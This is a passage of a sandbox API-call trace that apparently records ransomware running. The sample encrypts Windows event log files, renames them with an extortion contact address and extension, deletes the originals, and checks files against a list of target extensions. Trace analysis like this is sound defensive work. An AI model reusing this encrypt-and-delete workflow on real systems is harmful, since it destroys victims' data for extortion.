hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.198] SetEndOfFile (hFile=0x370) returned 1 [0050.199] CloseHandle (hObject=0x370) returned 1 [0050.199] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.199] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0050.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.199] lstrlenW (lpString=".doc") returned 4 [0050.199] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.199] lstrlenW (lpString=".docx") returned 5 [0050.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.199] lstrlenW (lpString=".pdf") returned 4 [0050.199] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".xls") returned 4 [0050.200] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".xlsx") returned 5 [0050.200] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.200] lstrlenW (lpString=".ppt") returned 4 [0050.200] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString=".zip") returned 4 [0050.200] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".rar") returned 4 [0050.200] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".bz2") returned 4 [0050.200] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".7z") returned 3 [0050.200] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString=".dbf") returned 4 [0050.200] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString=".1cd") returned 4 [0050.200] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString=".jpg") returned 4 [0050.200] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.200] lstrlenW (lpString=".doc") returned 4 [0050.200] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".docx") returned 5 [0050.200] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.200] lstrlenW (lpString=".pdf") returned 4 [0050.200] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".xls") returned 4 [0050.200] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.200] lstrlenW (lpString=".xlsx") returned 5 [0050.201] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.201] lstrlenW (lpString=".ppt") returned 4 [0050.201] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.201] lstrlenW (lpString=".zip") returned 4 [0050.201] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString=".rar") returned 4 [0050.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString=".bz2") returned 4 [0050.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString=".7z") returned 3 [0050.201] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.201] lstrlenW (lpString=".dbf") returned 4 [0050.201] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.201] lstrlenW (lpString=".1cd") returned 4 [0050.201] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0050.201] lstrlenW (lpString=".jpg") returned 4 [0050.201] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.201] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.201] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0050.201] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.201] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0050.201] CloseHandle (hObject=0x370) returned 1 [0050.202] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0050.202] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.202] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.202] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.202] GetLastError () returned 0x0 [0050.202] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.235] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.237] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.237] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x136, lpOverlapped=0x0) returned 1 [0050.237] SetEndOfFile (hFile=0x388) returned 1 [0050.237] CloseHandle (hObject=0x388) returned 1 [0050.239] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.239] SetEndOfFile (hFile=0x370) returned 1 [0050.240] CloseHandle (hObject=0x370) returned 1 [0050.240] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.240] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0050.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.240] lstrlenW (lpString=".doc") returned 4 [0050.240] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.240] lstrlenW (lpString=".docx") returned 5 [0050.240] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.240] lstrlenW (lpString=".pdf") returned 4 [0050.240] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.240] lstrlenW (lpString=".xls") returned 4 [0050.240] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.240] lstrlenW (lpString=".xlsx") returned 5 [0050.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.241] lstrlenW (lpString=".ppt") returned 4 [0050.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString=".zip") returned 4 [0050.241] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".rar") returned 4 [0050.241] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".bz2") returned 4 [0050.241] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".7z") returned 3 [0050.241] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString=".dbf") returned 4 [0050.241] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString=".1cd") returned 4 [0050.241] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString=".jpg") returned 4 [0050.241] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.241] lstrlenW (lpString=".doc") returned 4 [0050.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".docx") returned 5 [0050.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.241] lstrlenW (lpString=".pdf") returned 4 [0050.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".xls") returned 4 [0050.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.241] lstrlenW (lpString=".xlsx") returned 5 [0050.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.241] lstrlenW (lpString=".ppt") returned 4 [0050.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.242] lstrlenW (lpString=".zip") returned 4 [0050.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString=".rar") returned 4 [0050.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString=".bz2") returned 4 [0050.242] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString=".7z") returned 3 [0050.242] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.242] lstrlenW (lpString=".dbf") returned 4 [0050.242] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.242] lstrlenW (lpString=".1cd") returned 4 [0050.242] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0050.242] lstrlenW (lpString=".jpg") returned 4 [0050.242] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.242] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.242] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0050.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.242] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1052672) returned 1 [0050.242] CloseHandle (hObject=0x370) returned 1 [0050.243] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0050.243] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.243] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.243] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.243] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.255] GetLastError () returned 0x0 [0050.255] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0050.324] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0050.706] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x1010, lpOverlapped=0x0) returned 1 [0050.713] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x1020, lpOverlapped=0x0) returned 1 [0050.716] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.716] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x134, lpOverlapped=0x0) returned 1 [0050.716] SetEndOfFile (hFile=0x388) returned 1 [0050.716] CloseHandle (hObject=0x388) returned 1 [0050.733] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.734] SetEndOfFile (hFile=0x370) returned 1 [0050.734] CloseHandle (hObject=0x370) returned 1 [0050.734] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.735] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0050.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.735] lstrlenW (lpString=".doc") returned 4 [0050.735] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".docx") returned 5 [0050.735] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.735] lstrlenW (lpString=".pdf") returned 4 [0050.735] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".xls") returned 4 [0050.735] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".xlsx") returned 5 [0050.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.735] lstrlenW (lpString=".ppt") returned 4 [0050.735] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.735] lstrlenW (lpString=".zip") returned 4 [0050.735] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".rar") returned 4 [0050.735] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".bz2") returned 4 [0050.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.735] lstrlenW (lpString=".7z") returned 3 [0050.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.736] lstrlenW (lpString=".dbf") returned 4 [0050.736] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.736] lstrlenW (lpString=".1cd") returned 4 [0050.736] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.736] lstrlenW (lpString=".jpg") returned 4 [0050.736] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.736] lstrlenW (lpString=".doc") returned 4 [0050.736] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.736] lstrlenW (lpString=".docx") returned 5 [0050.851] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.851] lstrlenW (lpString=".pdf") returned 4 [0050.851] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.851] lstrlenW (lpString=".xls") returned 4 [0050.851] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.863] lstrlenW (lpString=".xlsx") returned 5 [0050.865] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.889] lstrlenW (lpString=".ppt") returned 4 [0050.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.889] lstrlenW (lpString=".zip") returned 4 [0050.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.889] lstrlenW (lpString=".rar") returned 4 [0050.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.889] lstrlenW (lpString=".bz2") returned 4 [0050.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.889] lstrlenW (lpString=".7z") returned 3 [0050.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.889] lstrlenW (lpString=".dbf") returned 4 [0050.889] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.890] lstrlenW (lpString=".1cd") returned 4 [0050.890] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0050.890] lstrlenW (lpString=".jpg") returned 4 [0050.890] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.890] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.890] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0050.890] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.890] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0050.890] CloseHandle (hObject=0x388) returned 1 [0050.890] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0050.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.891] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.891] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0050.892] GetLastError () returned 0x0 [0050.892] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.966] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.968] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.968] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0050.968] SetEndOfFile (hFile=0x368) returned 1 [0050.968] CloseHandle (hObject=0x368) returned 1 [0050.971] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.971] SetEndOfFile (hFile=0x388) returned 1 [0050.972] CloseHandle (hObject=0x388) returned 1 [0050.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.972] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0050.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.972] lstrlenW (lpString=".doc") returned 4 [0050.972] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.972] lstrlenW (lpString=".docx") returned 5 [0050.972] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.972] lstrlenW (lpString=".pdf") returned 4 [0050.972] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.972] lstrlenW (lpString=".xls") returned 4 [0050.973] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".xlsx") returned 5 [0050.973] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.973] lstrlenW (lpString=".ppt") returned 4 [0050.973] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.973] lstrlenW 